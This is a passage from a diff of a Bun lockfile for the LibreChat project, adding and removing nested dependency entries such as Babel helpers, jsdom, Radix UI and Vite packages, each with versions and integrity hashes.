- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
"@librechat/frontend/@react-spring/web/@react-spring/shared/@react-spring/rafz": ["@react-spring/rafz@9.7.5", "", {}, "sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw=="],
@@ -8177,46 +7931,38 @@
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle": ["cssstyle@2.3.0", "", { "dependencies": { "cssom": "~0.3.6" } }, "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/data-urls": ["data-urls@3.0.2", "", { "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0" } }, "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/html-encoding-sniffer": ["html-encoding-sniffer@3.0.0", "", { "dependencies": { "whatwg-encoding": "^2.0.0" } }, "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent": ["http-proxy-agent@5.0.0", "", { "dependencies": { "@tootallnate/once": "2", "agent-base": "6", "debug": "4" } }, "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/nwsapi": ["nwsapi@2.2.7", "", {}, "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie": ["tough-cookie@4.1.3", "", { "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" } }, "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/w3c-xmlserializer": ["w3c-xmlserializer@4.0.0", "", { "dependencies": { "xml-name-validator": "^4.0.0" } }, "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-encoding": ["whatwg-encoding@2.0.0", "", { "dependencies": { "iconv-lite": "0.6.3" } }, "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url": ["whatwg-url@11.0.0", "", { "dependencies": { "tr46": "^3.0.0", "webidl-conversions": "^7.0.0" } }, "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/xml-name-validator": ["xml-name-validator@4.0.0", "", {}, "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw=="],
-
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express/body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
+
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core/@types/qs": ["@types/qs@6.9.17", "", {}, "sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ=="],
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw=="],
"@radix-ui/react-tabs/@radix-ui/react-primitive/@radix-ui/react-slot/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-tabs/@radix-ui/react-roving-focus/@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
+ "@vitejs/plugin-react/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
+
+ "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
+
+ "body-parser/raw-body/http-errors/statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="],
+
"cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.1.0", "", {}, "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA=="],
"colorspace/color/color-convert/color-name": ["color-name@1.1.3", "", {}, "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="],
@@ -8225,6 +7971,8 @@
"expect/jest-message-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+ "expect/jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+
"express-static-gzip/serve-static/send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="],
"express-static-gzip/serve-static/send/encodeurl": ["encodeurl@1.0.2", "", {}, "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="],
@@ -8233,11 +7981,11 @@
"express-static-gzip/serve-static/send/mime": ["mime@1.6.0", "", { "bin": "cli.js" }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="],
- "google-auth-library/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
+ "gcp-metadata/gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
- "googleapis-common/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
